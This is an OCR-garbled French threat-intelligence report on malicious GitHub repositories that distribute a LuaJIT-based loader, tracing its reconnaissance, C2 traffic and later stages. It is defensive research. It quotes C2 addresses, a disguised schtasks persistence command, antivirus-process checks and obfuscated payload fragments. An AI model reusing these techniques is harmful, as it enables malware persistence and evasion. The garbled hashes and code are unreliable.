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Partie 1 : Hidden in plain sight

Les5derniéres annéesont marqué untournantimportantdans le paysage de lamenace cyber. En effet,
facealarecrudescence de cyberattaques, il estdevenucrucial pour toute organisationde protéger son
réseau en intégrant des outils de détection, afin de prévenir et identifier rapidement les menaces
potentielles. Face ala montée en puissance de ces systémes de détection et de réponse, les attaquants
doivent s'adapter en détournant l'utilisation de services legitimes afin de ne pas éveiller les
soupgons. Nous avions traité le cas de |'utilisation de la communauté Steam par les stealer dans un
précédent article. Aujourd’hui nous allons comprendre comment les outils communautaires comme
GitHub peuventétre utilisés a des fins malveillantes.

Ainsi, parmi les services réputés, Github est régulierement utilisé par les attagquants comme
infrastructure. Cela peut aller de dépdts contenant un fichier malicieux & des méthodes plus subtiles,
comme l'insertionde fichiers dansla section «release » ou en piece jointe de ticket.

Lors de notre veille, I’équipe Purple a repéré une nouvelle vague de dépbts suspects. Cette
recrudescence a attiré notre attention, et nous avons décidé d'examiner de plus prés ce phénomeéne.

1.TRECENSEMENT

// O Product Solutions ¥ Resources ¥ Open Source ¥ Enterprise ¥ Pricing Search or jump to. \ Sign in Sign up |

& loudwens/ displayindex Puw L Notifications | % Fork 0 Y Star 0
<> Code 11 Pullrequests (® Actions [ Projects @ Securty |~ Insights

$ main ~ ¥ 1Branch © 2Tags Q Go e About

A cross-platform Go package to detect

loudwens mmit which display contains the cursor.

[) README.md

[0 README

M Displaylndex

Welcome to Displayindex, a versatile Go package designed to identify the display containing the cursor across
multiple platforms. Whether you are working on Linux, macOS, or Windows, this library makes it a breeze to pinpoint
the active display with precision

W Installation Releases 2

© v2.0_displayindex (Latest)
To utilize Displayindex in your project, you can download the package by clicking the following link: DD |§p S —

If the link doesn't immediately download the file, ensure to launch it manually. +1 release

X Features Packages

» Cross-Platform Compatibility: Enjoy seamless functionality across various operating systems.

« Cursor Detection: Easily determine which display the cursor is currently located on.

Figure 1. Capture d’écran du premier depot observe

Le premier dépdt observé fut hxxps://githubl.Jcom/loudwens/displayindex/.

Malgré sonapparence légitime, ce dépdt GitHub présente uncertainnombre de caractéristiques assez
inhabituelles. Tout d’abord, I’absence compléte de code source au profit d’une unique archive dans
I’onglet «releases» constitue un premier élémentsuspect.
Le contenudufichier README.md contient des sections douteuses comme le détail du dépdtouencore
unmessage en fin de fichierressemblant a dela publicité.
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Deplus, lors delalecture des instructions, les extraits de code semblent pour le moins approximatifs.

pack

import (
"Fmt"
"https

)

func main() {

Figure 2. Extrait de code présent dans le fichier README

Comme le montre I'image précédente le dépbt est toujours actif, un commit ayant été effectué
seulement 23 minutes avant la capture d’écran. Cependant, on notera que seuls 3 d'entre eux sont
visibles surle dépdt et qu’il n’existe pas d’autre branche. Cette information étantincohérente avec les
statistiques tenues par la plateforme.

En regardant de plus prés le compte utilisateur associé a ce dépdt, on note une activité importante
depuis le mois de février 2025.

3,142 contributions in 2025

Jan Feb Apr May

Mon

Wed

Fri

Contribution activity

April 2025

E+ Created 40 commits in 1 repository

Figure 3. Activite du compte utilisateur detenant le dep6t

Parmiles différents dépots identifiés, ils semblent tous suivre un méme schéma : une absence de code
source, la présence d’un binaire compressé en zip dans la partie ‘release’, et une activité soutenue
reconnaissable dans les commits.
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3.262 contributions in 2025

Jan Feb Mar Apr May

Mon

Wed

Fri

Contribution activity

April 2025

E: Created 222 commits in 1 repository

Afjhr/ er-Fre

Figure 4. Exemple de dépot similaire #1

3,398 contributions in 2025

Jan Feb Mar Apr May Jun Sep Cct Moy

Man

Wed

Contribution activity

April 2025

E3 Created 232 commits in 1 repository

Figure 5. Exemple de depdt similaire #2
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contributions in 2025

Fab Mar

Contribution activity

April 2025

March 2025

Figure 6. Exemple de depét similaire #3

Les quelques variations sur les dates semblent dues aux différentes souches.

Evidemment, les dépots couvrent une grande variété de sujets, tout comme leur contenu. lls ciblent des
thémes allant des logiciels de triche aux effets de production musicale, en passant par des versions
d’Android, ouencore, desoutilsliésal'lA.

De plus, certains fichiers README présentent des spécificités notables, notamment dans la liste des
contributeurs, ou certains noms souléventlégitimement des interrogations...

Contributors

We would like to extend our gratitude to the following contributors who have dedicated their time and expertise to
make this project a reality:

. John Doe - Software Developer

2. Jane Smith - Quality Assurance Engineer

. Alex Johnson - Technical Support Specialist

Figure 7. Exemple de contributeurs suspects

Sur la base des spécificités observées, une recherche a été menée pour identifier d'autres dépots
similaires. Etant donne |'activité réguliere caractéristique, nous avons limité la recherche aux plus
actifsaucours des derniers jours.
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Suite a cetterecherche, plus de 380 dépdts ont été identifiés. Tous ont été créésentre le 11janvieretle
23février, al'exceptiond'un datant du21 mars.

Maintenant, concernantles utilisateurs, il ne s’agit pas toujours de comptes récents.
Bien qu’une vingtaine de comptes aient été crées en debut d’année 2025, certains d’entre eux

remontenta beaucoup plusloin.

Le compte utiliséle plusancienaété créeily adecela13ans,en2012.

3,463 contributions in the last year

May Jun Jul Aug Sep Oc Jec Jan Feb Mar Apr

Mon

Wed

Fri

Contribution activity

May 2025

E3 Created 96 commits in 1 repository

Show more activity

Figure 8 Activité de l'utilisateur antony000

Ce dernier n’est pourtant pas un cas isolé, méme s’il ne s’agit pas de la majorité. Une cinquantaine de
comptesontétécréésen2021ouavant.

Bien que certains acteurs de la menace laissent délibérément des comptes “vieillir” pour réduire les
risques de détection, il semble plus probable qu’au moins une partie des comptes utilisés scient des
comptes abandonnés ayant sirementfuité ou volés.
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12 LESSOUCHES

Lors de nos observations préliminaires, 5 ‘samples’ distincts ont été collectés. Cependant, les
différences entre ces souches est tres relative caril ne s’agit que de légeres variations de présentation.

La plupart des échantillons se présentaient sous la forme d’une archive nommée Software.zip (ou
Program.zip pour la souche qui semble étre la plus ancienne) contenantles fichiers suivants::

> Launcher.bat(oulLaunch.bat)
userdata.txt (8e8173f0411f8c052959503db6d2cdab651ef122847e2fe61758050f9fb8a649)
lua51.dll (012e772e3c72c5f500aab86e78e99afff222bdc8d914bc32bb244ade03d5a486)
luajit.exe (30f7bd2e98df2ec3405f3ab4aab5be8f0dc1d9ac638286edf390c4ddb74b4316)

vV V V

Le lanceur est justement la partie variable de ces souches. Au-dela du nom du lanceur, le contenu est
artificiellement modifié parl’ajoutde saut deligne.

sdiff 3a2f/Launcher.bat 541d/Launch.bat
start luajit.exe userdata.txt start luajit.exe userdata.txt

VoW OV VWV VY Y W WYY Y Y

Figure 9. Distinction entre le lanceur de deux souches différentes

Enrevanche, lacharge utile reste quantaelle rigoureusement identique d’unéchantillona l’autre.
BeB8173f0411f8c052959503db6d2cdab651ef122847e2fe61758b50T9fbBa649 3a2f/userdata. txt
BeB8173f0411f8c052959503db6d2cdab651ef122847e2fe61758b50T9fbBa649 541d/userdata. txt

8e817370411f8c052959503db6d2cdab651ef122847e2fe6175805079fb8a649 57d5/userdata. txt
Figure 10. Somme de contréle du fichier userdata.txt de différentes souches
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Nos recherches suivantes ontcependantremonté d’autres souches actives.
Avec un total de 23 hash différents pour les archives, les charges utiles, quant a elles, sont beaucoup
plus stables.

Dans 87,19 % des cas le hashest similaire a celui qui a été étudiée. Pour les cas suivants la distribution est
ainsi:
> e3b0c44298fclc149afbf4c89961092427ae41e4649b934ca495991b7852b855 dans 8,54 % des

cas
> 0edB8e43a9b0bbb8754ecTcel95e07f6af5e5363ab039cdal32413746a3e772fa8 dans 4,02 % des
cas
> badb575b6d5a79a41fa37fa07b4c72744cbf402¢14947788e26e3dbd1f4403baa dans 0.25 % des
cas
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Partie 2 : Analyse
®

download malware
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213.1376.32.47

Figure 11. Schéma haut niveau des échanges

21 OBSERVATION

Le script .bat ne nécessite qu’une analyse sommaire, puisqu’il se limite a une seule commande :

I’exécution de luajitexe avec, en argument, le troisieme fichier userdata.txt. Il constitue le point
d’entrée principal du malware.

Naturellement, la présence d’un exécutable ainsi que d’une DLL est intrigante. Cependant, de rapides
recherches suggerent que ces deux fichiers sont bénins.

Unpremier élémenten ce sens :ilsont déja été soumis a VirusTotal etidentifiés comme sains.

De plus, cela a été confirmé par I’analyse de nos moteurs Malcore et Shellcode detect.
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Mo security vendors flagged this file as malicious

012e772e3c72c5f500aabB86eT78e99afff222bdc8d914bc32bb244ade03d5a486

luas1.dll
mimunit _
c J pedil detect-debug-environment overlay checks-user-input
~ -
Figure 12. Résultat VirusTotal concernant le fichier lua51.dll
-~ ~
() No security vendors flagged this file as malicious

30fTbd2e38df2ec3405f3abdaabsbe8f0dc1d9ac638286edf390c4ddbT4b4316

luajit.exe

43 peexe  idle  overlay

;

Figure 13.Reésultat VirusTotal concernant le fichier luajit.exe

luajit.exe luabl.dil

Malware Shellcode Malware Shellcode

Figure 14. Résultats de scan Malcore et Shellcode Detect

Une simple recherche de chaines de caractéres permet d’identifier |la version utilisée: LuaJIT 2.1.0-
beta? (https://luajit.org).
Comme précisé surlesite, LuaJlT estuncompilateur “Just-in-time" pour Lua.

Lua (https://lua.org) est unlangage de programmation léger, rapide et multi plateforme. Dans sa forme
originale, les programmes Lua sont compilés sous forme de bytecodeet utilisés via uninterpréteur.

Graceasafacilité d’acces et a sarapidité d’exécution, lelangage Lua est particuliérement utilisé dans
le secteurdu jeux vidéo (et notamment dans des jeux tel que Roblox)ou dans certaines applications de
traitement d’image.

Ici, LuaJIT apporte une fonctionnalité de compilation dit “Just-in-time", se situant a mi-chemin entre
unlangage interprété etunlangage compilé.
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https://luajit.org/
https://lua.org/

code tantsous sa forme de bytecode, que sous forme de texte simple.

Dans le cas présent, ¢’estcette seconde méthode qui est utilisée
Cependant, la charge utile contenue dans le fichier userdata.txtest fortementobfusquée.

1jS2gHb11j90By=" " qaMeI9DPED== ”EeleNaO/?XkaRRfaerZ/SmEV
134V1qCLKwW/ZnngSHK="; " /ra3RI0bThEbKoYDT4:

","2381zhDo" , "KS11qV=="; "uKOTGcfXtx3Ib4TIHNOtS0e7RY:

"SB1Q" ;" Tg30ey=="; "ebasUy==""AFOK" , "WTCtrKqUrERayZZNr SENBPTOXSMUIVHS IXDDXNKX0PB1A23TCRCBOK” ; "USBBMKCE” , " CuQiXHI0TKACKHQUDMINI Y
" F+BIVIKGHETFINTYPTSS /7584==" , "bhupkhUf2HaWRVbXb4==" "20PCpGj9bDF1371=" , "KoSDBENG3dX2vTLqaz="; " [+X3NBAVENyWNUXZ9b=
"YejHigOocHasz +o3YrnpZYyKalUjFnL S4=="; "R3n2THznyxCIcgseXlazrjBF ", ”[taJJv1w0xLoBKdMJKan/okbungupE1kuJVLyJpwvmth:KFszE

rugmlxusyqluouhq1th154xk2onzdr4::” ”lglbuVEN1rthqugtR5FFCran:DueA ,'CmelpSMypGZ/? chaThv1/sq3wvn4”,”JA([J/a,” ”sonfrawuﬁvﬂzcﬂ?usca,” ”7}HA” ”ov::” ”ﬂdV&KGdeLkV” ”Kbm\ossNKzSSXFEDvolLKUZNsnErqy::”‘

", "nghuHBk="" "xnowash=", "XP1qu1nhVy3nlce2pa==" "KYUF2YB="; "kbBCtyEC" ; "DIugel py tuo2u2D8b=="; "WENGEMPC " ; "CSXVU1Hi00CP" ; "GXn4QreQ” , j : 4xKI", "hwo+" ; "3PS” "0/ XdSV==
"3 GCYVBLBSCITUWEVgqa= 57LEM " "BuPPq119gd/TT/42cy==" " QUHETiTiBXW KBWighk="’ VnGyQslaJhF7oov3”  "80dntqy3
nHmdQ25JBVLWa3lHLVAEL: insh" ”db:: "5 1HORH/Y2nZ1ZABEF19KTIPBbE ryoaF2HGs+QATL /4= 5"W4=="; "RGe6FV=="; "B5HG}1Vj

nye/ksnus*oer5554:: ;"o
TYre,"g3mIvecgs fo3opa="
hOSNALBAVO4=" ,"WaOFh/KR7d
5" rCvEsd==", ”kxkl(b::”;”lnuHJ
F5V41\BZ7SMN5X9

= ”u450<kf FI3"
"NDxFla=
"putkznu=", "yPah/yz [QUTEnBVRY:
t//Bprd4”,”wkkDyOSDE47LE/DDDy
FbcHtDkd3tARMA(

H rL+LMDDJEouV/3CIZQKTB7d KPUBbLU 1Jy9s4pIXMsk="; "YrnAXNRbbIs4K17:
FTKIru3" ,"L53284qjnZX63b==
E 24 beEkﬂKxOEszr\(Ef §rCy==", " TTPxzhUV" , "UYDTRMMOD1+SqiyH
m ”sdsshwoauajvo4 =", "p{UQry==";"TF119362x+1IpnZ3FbQ2dUrqtaKe" ; "TsZ="; "Sy=="
=":" uekbt?smvna”,”

B 8nh";

i nz(PkﬁbeJaquXFhuVHlnLnxK]f”'”hpk]/ewerX—”;”EJ]nUt9Sp[ﬂp”;”ww9Ww

sezxvﬁy, " ”\7HeZ7\1Zasvw7\ 713Zb==";"e( ubcn=" ”fAnudSFf/h/eLSﬁSL
;"vhu93g

iPqQFad” ;" AE/quy936TAV:
iilgJTnia ”VKPZFp(ESSxSEb:z”,”w7PSwhSFTC27” “3hy/B80nVyvk=","Jr /iuekr" ,"XtduhaBI" ”rPSBthJaXi\VnXkTLn/[TT9”;”V(VRVexPT(thEvaAn7(yqGW9QLPAJERR5—”;”9]AXN4 CheYETVHKFn", "P4-
aqrfwlNGV//EEqFDSDSTHSIEn14HOH/Vt3uLuH1DuZBant\DjxDZluszhﬁS:kl:/oNqSSIijV " "1rgZYGnRZtBS v 8 u6p3", "TMN+QmfqNrA9T732dsg="; "sv==", "vSoD+5za", ”KDVXTb
4rxpulaamSHxFBTPPTEDHCEKCNULOTUE /bSQkOXH/nZknGZIXVNBqRr j/34==" "aCBN3G+. HOGYSBIPg2Y2Ygxn="} Z709RFdK'"
71nraxex+17gMHg/ngwnrfJ+p6/Judeo<xznan,

" CaDY5+wq4D+dpagfwInHQVFhN2Bs
", "Lcq2tkshbxzuocbAcfFW43X74M
DQFVNHZCHBKWPszA\Zn[qu([q(Fw/QNthNfosP

Jq!wJTd/xwuw7ud”;

1RUWNIJo4+eHc Lm+03PZSVeq5xgB7x4=="" "XzIRIGPW" ; "UFVTHV=="", "CSPeTC8AWTHfRT! ,"r6tipy= ==","1Gy=", "ny=-
06bS6nhgSlXela==" "2 X0MHQ362NWEL2b1LHONGHELNHAEHBIr mpg YONGHENQHS TS 26 1vRRD IRPKxY TuAboYdLvYUpQp3cHi 4G TmpEQB TRTndH0B 1 1aUD VB8R IFrT Tox FpVN3Bar +qHasnvdLMzoCrwdZQZ6eUTrBBay="3 " Tr4juHr T , " r+3VnaKS/b:
chNssxuoansgnaonecPPoeG4u:oFrmNyrafDJGuojAudAdSﬂzawncsagdax1Jnxu/rRIsvvstozepoVpn,” "kvlergyq", "pbsYwwFkFb==","1n1lyGBZIy6g/CD75F2LF","SjBZ993R07cG3r5n", "H/Uf8V==", "kMpP562]" ;" jpwCQYESTauIwaT6/V:

"KPY4FPt234d1jdpglulbi+GUTOT4=", J1k1q15kakyAzqgssuqstet+JNDhasp1N\quNszkWszthJzzdan+1Fszwwxﬁwzzsxvd\1\geD7AoBgJzAs1nerBcaqSVHZVZAcHQsz34meRA5Nqnx+mysmz<yxuEn1rao¢o[yNJmlthm
fwovaﬂxdatcozxprLsogvo7badD5\chbgnuwx/quv:zJTwauuwaSJaLnVTLlestszht63+zw511pvx ;"2+VLR1OF2YG187P4gs8g" , "tUpHIHRY", " 3H9g7rd0" , "hAHPGb==" "QhhX" , " 6X5XTQOOGCr 40t+BVOQNAHCOES—

", "PUNGOFHX” ,"hByFbD1n59xgUITZK29gdedoKi i1y FvoiFuy=", ”caxcvad\”J”Pt1271Jz” "{b==","qLERTXexQY4XBriX" ; "Ti50GHOGEYe7B3dn" , "nb=="; "T{BHTIKD2r i32v8qib==", "04==
”,”52095&5Eﬂqf/3ﬁ4u ,‘RrKqudeYTOGY\Dbb rFKLZ[\uzZ4mL\UZ\Lq1yfm(yV”,”wVHleX "; "oyg/0DVdXhRF91s4fa=="; "U+R4YID3IMTVIbSSY ”vzss/exsn}tm
+"DL7 jokingh0+p” ;"1 jshckk=", "FqUSqFZFEDT10bFGQTDMVTXKXSTALEG T 94==" , "vgnEprhS axy ,"WCNATCZ=", "trivS9FOWPXInmin" , "hAAQGHV=:

/VaanmK ,”kVTtheHDQSn 3" gd1VFXFLCBDSB0b" , "VSB47U3N3FCEY==" , 2 7VbUGEANThGAT+ T24==" , "T¥QUQY==", "6qsu" , " ZHiNBUNC]CNiwioNehy==","QiK{1E{TIRSOVOASKAFHAV==" ," 2382/ T] 2012 J8NRXH=
" "1BNGDRy 5OVHVHVHCOOMZgbdKEV==" , "DENFSHHTK+S1CSWEAb=" ,"UNLHFXnYCKOHTOSqPy=="; " $"Z5CIH4==","n+OHYRIY" , 44BxXb="; "hg" , "qU+5+b=="; "y2Ct" ,"TkdA" , "R3q=";"cV==" "cVHpevAxHz c2PiCClyZdVT1bldsuyYb
bZBJSESJZBSIKQjESMAHDbmﬂHfSLfnfﬂEbX]nyff‘,‘QSHKQBMR”,”3XTd3507YCUGKfﬁZBDES/KKNfTHdSleFELHI5tmH:TXt/mfNXqHSquhZﬂRSDSG?dJSqudsE[hlFTVIWRSrfJUDNXJ&CELCTO(nnAuAVWIQVSaVZIbTSTTQQVEd]SHRFECF(HZN/DlﬁhL(][xthakﬂlx
uMkQNx/SarE[xplpscgznlNDFOKquprHEDyumlJRleaM]QmEESqrOHqSAtXSaJU\NStIlKVyuaFZHL(]thraGSEp(SNFMp[O[EPSREJWSVE}Zme+[pUR9\[LMy[Anp4BleMLA3MTdS41§AbSSZE(HJrvRﬂHs7vabJZ[WAUJKCKBXQLHV[erblkﬂuJoquEFEHbd!LpAZJY
&LxtE9ICPXOAdBOSCT+GPENVDVZRIFOLBQKVKS31Fhv7Inov7+vIoQuihRKSANh1UNTS] /dCqWANORQWPQR+PbSWF FFxScY Ve J689VWNOTOVKR 12 / /N2 hk4YVMe 1hbyw1QXxHeYd12bCz4p3qhl2581Z10R/pIMVWELVevdbq1fHXTm+gNy/qpuiEqico
EZZrfjv?uV\qVOsyZldVFSwhEfpyoEESROEEEJSREZZSL(3405zbEgHquvaWVRRoinwﬁIyuytb}dlquZDX72fg7oZahGSXrn]4d1hvdyx4nEp/fﬂthUABRSWMEQZQXZNQLJFbppﬁi1dCyXJ[LTFNk[NZte(k9KZKX&uEvaV91AHBHOZETGh]Grd}r\PSAHlsLh\TﬂNyyunS}
QbUHHUGOF8M7EG7B0ehhF5+nY 1WN4AGOBXPLZO1 /WtCSvAqGBtagvak3fHiJssmkbnPHWF 1PgDdBprbav/qTUPoLB+7a8fSTBcfuE6eAg jU4TVCHORYQS/ VP rMaiWRbbInDPakpQ9X /z /VkXUCk4Ye 5u2Gc t9RI3YPBL/1Fm6hYzF GFwHDCZDKQVqt7VPYUDZVSXZ7tb63/dL6VU
erLWBGSNTV6hpz4AyABUSCSDDUXaBRIUEKMeLq1R7VL JO1/ TRST3HiM cpU4BME /UMKQ3dkHNmO8 JHQXBHEHXUSQUUTV2PP /[RG7VCNMP THHZYqROYSSeh /2E1uv94bIKkeQD /01 SCEYAXYDILAGKAZ bm/ EBTKJynMV JwX f tdVK SFUCF 6ywg JaNVuOVdmiwd2U1 1HzC8Kjn3dUcdZ
o0U3+b+JoruGLyPBwm7KKLVIQFb193TiSg334uB8d/ ryUv2eYy103beY10GL jA601122DI7FVTugHTpINFUCHNYLDrd /QM2BATTko 1A j2e 72 /4SLT22EQeEL €71 J8EJdS6RASYVMPBNYX54VdtkB+V11pXXLk2PxcXhb /Q6V+HPYCYSNBN+X0VYDOBHMGDT ru40eH/mLACK /Vsad
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Figure 15. Extrait du contenu du fichier userdata.txt

Afin d’éviter une désobfuscation longue et complexe, une analyse dynamique a été privilégiée pour
obtenirrapidement une visiondu comportementdu malware.

2.2 RECONNAISSANCE

L’une des premiéres actions effectuées lors de I’exécution du script de lancement fit la récupération
d’informationsur lalocalisationdela victime.
Pour cela unerequéte vers ip-apil.Jcom est effectuée

“+ Transmission Control Protocol, Src Port: 49697, Dst Port:
@ Hypertext Transfer Protocol
GET /json/ HTTP/1.1Zr\n

80, Seq: 1, Aca

[Expert Info (Chat/Sequence): GET /json/ HTTP/1.1\r\n]
[GET /json/ HTTP/1.1M\r\n]
[Severity level: Chat]
[Group: Sequence]
Request Method: GET
Request URI: /json/
Request Version: HTTP/1.1
User-Agent: qr59jbckqitkplk41ihbrtg3dvhyzgj3ndiwftked4xa9o0q568p87yaefubpt
Host: ip-api.com\rin
Arin
[Full request URI: p-api.com/j
[HTTP request 1/1]
[Response in frame:
Figure 16. Requéte de reconnaissance vers ip-apil.Jcom
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On notera l'utilisation d’un User-Agent atypique, composé d’une longue chaine alphanumeérique sans
espace nislash:
qr59jbckqitkplk41hbrtg3dvhyzgj3ndiwftkedxa9og568p87yaefulpbiditsdqinzjszfiixffwhdénkah6celha
fihlvomI7b6btsi3ht7Ibaucy.

Juste aprés, une requéte est émise vers www[.Jmicrosoftl.Jcom probablement afin de vérifier la
connectivité internet. Il semble en effet plus courant d’avoir un accés au site de Microsoft qu’a un
servicederésolution d’IP.

23 COMMAND & CONTROL

Suite a cette reconnaissance, une connexion HTTP est effectuée vers I'lP 213.176.73.80, toujours en
utilisantle méme User-Agent si particulier.

4 N

Dest. port  Protocol Total Length 44| Infa

Figure 18. Contenu de la requéte initiale vers le serveur de contréle

Lefichierenquestion commence par |42 4d| (BM), qui est I’entéte des fichiers bitmap.
Unefois extrait, cefichier s’avere étre une capture d’écran de la victime.
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C:\Users\ADMINI~1\AppData\Local\Temp>start luajit.exe userdata.txt
C:\Users\ADMINI~1\AppData\Local\Temp>,

Adobt
7]
Fir
—_— 9:50 AV
T PO | oY - B s NG g

Figure 19. Capture d’écran envoyee au serveur de contréle

Le document json, quant a lui, contient des données qui semblent encodées en baseb4. Une fois
décodées, nous obtenons une suite de caractére hexadécimaux séparés par desvirgules.

Ace stade, quelques recherches s’imposent pour vérifier cette souche a déja été analysée. Par chance,
les équipes de Security Blue Team ont publié quelques semaines auparavant un article décrivant
exactementce comportement.

Aprés avoir analysé les communications, ils y dévoilent des informations particulierement utiles :
I’algorithme de chiffrement utilisé ainsi que la méthode permettantd’enextrairelaclé.

Nous retrouvons donc dans la mémoire du processus la clé utilisée pour le chiffrement
89pCOINILRKTZgh8DtZmKwC42AQcUeXF.

Unefois déchiffrées, il s’avere que les informations envoyées au serveur de controle sont :
> UnlIDdeloader (dansnotrecas 812)

Unguid

Lenomdel’ordinateurinfecté

Lenomdel’utilisateur ayantlancéle malware

Les informations obtenues viaip-api.

Laversiondusysteme

V V.V V V
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Enréponse, ce dernier nous retourne un documentjsoncontenant?2 clés: loader et tasks.
Lapremiére contientla configurationa appliquer pourle loader et ressemble aceci:

lefender": 0, "autorun": 0, "relaunch": {"time": -1, ": : "tablet": {"text":

urred", "stat "hide": @, "pers

Figure 20. Contenu décode de la partie "loader” de la réponse

La seconde, nommeée “tasks”, contientune liste des taches a effectuer afin de chargerd’autre payload.
Dans notre cas, il s’agitde 2 autres dépots Github.

ignment/
file_path":
0, "pump"

. tart": autorun": © I
"dl1l_loader": {"func": null, "type": "LoadLibrary"},

Figure 21. Contenu décodé de la partie tasks de la réponse

Cette réponse sera également mise en cache sur disque, dans unfichier enregistré dans le répertoire
Picturesde'utilisateur.

Dans un second temps, un répertoire est créé dans le répertoire AppData\Local ou sont copiés les
éléments suivants : le fichier lua51.dll, I'exécutable luajit.exe renommeé selonl’ID du loader encodé en
base64 (dans notre cas 812 devient ODEy ), ainsi que le fichier userdata.txt contenant la charge utile.

Cependant, desdonnées aléatoires générees via desappelsa CryptGenRandom, serontajoutées alafin
del’exécutable afin d’en modifier sa somme de contréle.

Une fois cette étape réalisée, une tache planifiée quotidienne est créée sous le nom
WindowsDefenderScheduledScan_<loaderlD  encodé> en appelant directement [utilitaire
schtasks.exe.

schtasks /create /sc daily /st 14:46 /f /tn WindowsDefenderScheduledScan_ <loaderlD encodé> /tr
"C:\Users\<utilisateur-\AppData\Local\ <loaderID encodé> \ <loaderID encodé>.exe"
“C:\Users\<utilisateur>-\AppData\Local\ <loaderID encodé> \userdata.txt"

Enfin, les instructions contenues dans le champ tasks du document JSON sontexécutées.

Dans le cas analysé, ces tiches consistent a récupérer deux fichiers hébergés sur GitHub qui seront
stockés dans lerépertoire temporaire (% TEMP% ) :

> unscriptlua sousle nom bit.lua

> unexécutable PE sousle nom dvm.exe
Cesdeuxfichiers sontensuite exécutés.
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Apreslelancement de chaque tache, le script contacte le serveur de contrdle pourindiquer quela tAche
abien eté exécutee.

80 HTTP/JSON 427 128 PUT /task/YTAsSODYsODIsOWQsYTEsSODgsOTAsSOTUsSN]L
49730 HTTP 777 53 HTTP/1.1 284 No Content

Figure 22. Exemple de confirmation d’exécution de tache au serveur de contréle

Le corps de larequéte estminimal, ne contenantque deux informations:I'ID de la tAche effectuéeetle
pays delavictime.

Il est intéressant de noter que les requétes a destination de Github pour ces tiches sont effectuées en
HTTPetnonenHTTPS.

24 STAGE2

Parmi les deux taches regues du serveur de controle, la premiére se comporte de fagon quasi-identique
aceque nous venons de voir.
Les changements notables étant:

> L’utilisationd’unautre C2:213.176.72.47

> [’utilisationd’unautre User-Agent : elbzohpyxkndh0dk12jqgf

> L’utilisation de la méthode POST en lieu et place de la méthode PUT lors de Ia

communicationavec le C2
> L’IDduloader:816
> Lenomdela tache planifiée: WindowsErrorRecovery_<loaderlD_encodé>

Concernant la seconde charge nommée dvm.exe, celle-ci créé des fichiers avec I’extension.dif dansle
répertoire AppData\Local\Temp de I’ utilisateur.

Deuxfichiersressortent particulierement :
> Angledif : dont les premiers octets (MSCF) correspondent a I’entéte des fichiers Cabinet
(.cab)de Microsoft. Fichier que nous retrouverons un peu plus tard.
> Malaysiadif : dont le contenu débute par Set Collections=o\r\n, indiquant qu’il s’agit d’un
scriptbatch.

Unefoisles différents fichiers crééslacommande suivante estexécutée :

\ C:\Windows\system32\CMD.exe" /c copy Malaysia.dif Malaysia.dif.bat & Malaysia.dif.bat

Ce script, également obfusqué, contient, au milieu de suites de commandes inexistantes, quelques
instructions valides permettantde déclarerdes variables, qui serontréutilisées parla suite pour appeler
une commande.
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Ontrouvera parexemple desinstructionscomme

Set Anne=S

Set Oecd-=t

Set Cassette=K
Set Collections=0
Set Thousand=v
Set Los=u

Set Lan=Y

Set Implemented=E
Set Window=w
Set Matthews=;j
Set Faith=0

Set Sections=X
Set Cube=C

Set Mood=b

Set Romance=N

%Anne%e%Oecd %

%Cassette%%Collections% %Thousand%%L 0s% %L an%k%Implemented % %Window%k%Mat
thew%n%Faith%W %L os%zz% Oecd%p%Collections%Wcd%Sections%nal%Sections%%Cub
€% %Mo00d%%0Oecd% %Thousand%%Romance% %Cube% % Thousand%=Pr%Collections%%M
atthew%ec%Oecd% %Collections%r%Voltage%%Horrible%c %Collections %%Adventures %
[.]

%Voltage% %0ecd%ar%0Oecd % %KovuYkKEwkjnOWuzztpoWcdXnaJXCbtvNCv%
%0ecd% %hl zKiK%

Ces commandes une fois interprétées donneront :

Set KovuYKEwkjnOWuzztpoWcdXnaJXCbtvNCv=Projectors.com

start Projectors.com t

Ce script n’est qu’une étape intermédiaire qui a pour objectif de faire quelques simples vérifications
comme la recherche des processus mais également de créer les éléments suivants de la chaine
d’infection.

Les processus recherchés sont:

> Opssve
Wrsa (Webroot Secure)
SophosHealth
Bdservicehost
AvastUl
AVGUI
nsDscSvc (Norton)
Ekrn(ESET)

V V.V V V V V

Larecherche esteffectuée vialacommande findstr sur la sortie de la commande tasklist.

Enfin, vientla création de I’avant dernier payload.
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Pour cela deux méthodes sontutilisées:
> lapremiere méthode consiste a appelerlacommande extrac32 surle fichier Angle.dif, puis
a concaténer les différents fichiers extraits afin de former un programme nommé
Projectors.com,
> |a seconde méthode, relativement similaire sur le principe, concaténe les fichiers DIF
précédemment créés par le processus dvm.exe pour reconstruire un fichier nommée t.

25 LEDERNIER LOADER

Cefichiernommé “t”

(sha2b6 : 27aac3573f032d20951be0dfbf42cc41f9e26chac9cddl3cf8421a4dfb3ed50e3) semble étre un
script AutolT compilé qui, au moment de la rédaction de cet article (juin 2025), n’est pas connu de
VirusTotal. Dans ce schéma, I'exécutable Projectors.com ne joue que lerdle d’interpréteur.

Bienquelefichierne présente pasd’en-téteidentifiable,ilcontientlachaine AU3IEAQ6, caractéristique
d’unscript AutolT compilé.

Celangage de script, historiquement destiné a I’'automatisation de taches Windows (interactions avec
I’interface graphique, gestion du clavier et de la souris, etc.), a récemment gagné en popularité aupres
des acteurs malveillants car il permet notamment::

> D’appelerdirectement!|’APIwindows

> D’obfusquer ses scripts, et de les compiler (sous forme d’exécutable ou de script compilé
(portant ’extension.a3x)

> L’absencededépendance(pas de DLL externe acharger)

Pour’analyse, I'outil autoit-ripper a été utilisé afin d’extraire le contenu du script .au3.

Le scriptobtenupéseenviron1,3Moetil estfortementobfusqué.
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Func SITUATEDRETURNINGFIGHTERSNUTS ( $NEWFOUNDLANDCODESALONGKILLS = © , $WEBPAGEPENNSYLVANIAPOKEMON = False , $BO0O
$SEQENTIRELYGOALS = SHOULDERDOWNLOADCOM ( "104:123:115)118)10436/87109)126)105/63 1041123 /115)118)104 3689
While 697

$KEYBOARDWICKEDANTENNA = 8237
Switch $KEYBOARDWICKEDANTENNA
Case 8236
Cos ( 9767 )
MemGetStats ( )
Chr ( 8724 )
Chr ( 4224 )
PixelGetColor ( SHOULDERDOWNLOADCOM ( "71}115:113)116:101:103,120/68,84}165:101:111 68 86:105:119/116
MemGetStats ( )
Cos ( 5881 )
DirGetSize ( SHOULDERDOWNLOADCOM ( "106/110/98 34" , 1 + 0 ) )
$KEYBOARDWICKEDANTENNA = $KEYBOARDWICKEDANTENNA + 768283 / 768283
Case 8237
Local $DEFINITIONLOGOLAUGHASBESTOS = D11lCall ( SHOULDERDOWNLOADCOM ( "1€9}103 116112103110 535248
ExitLoop
Case 8238
ProgressOff ( )
Floor ( 11 )
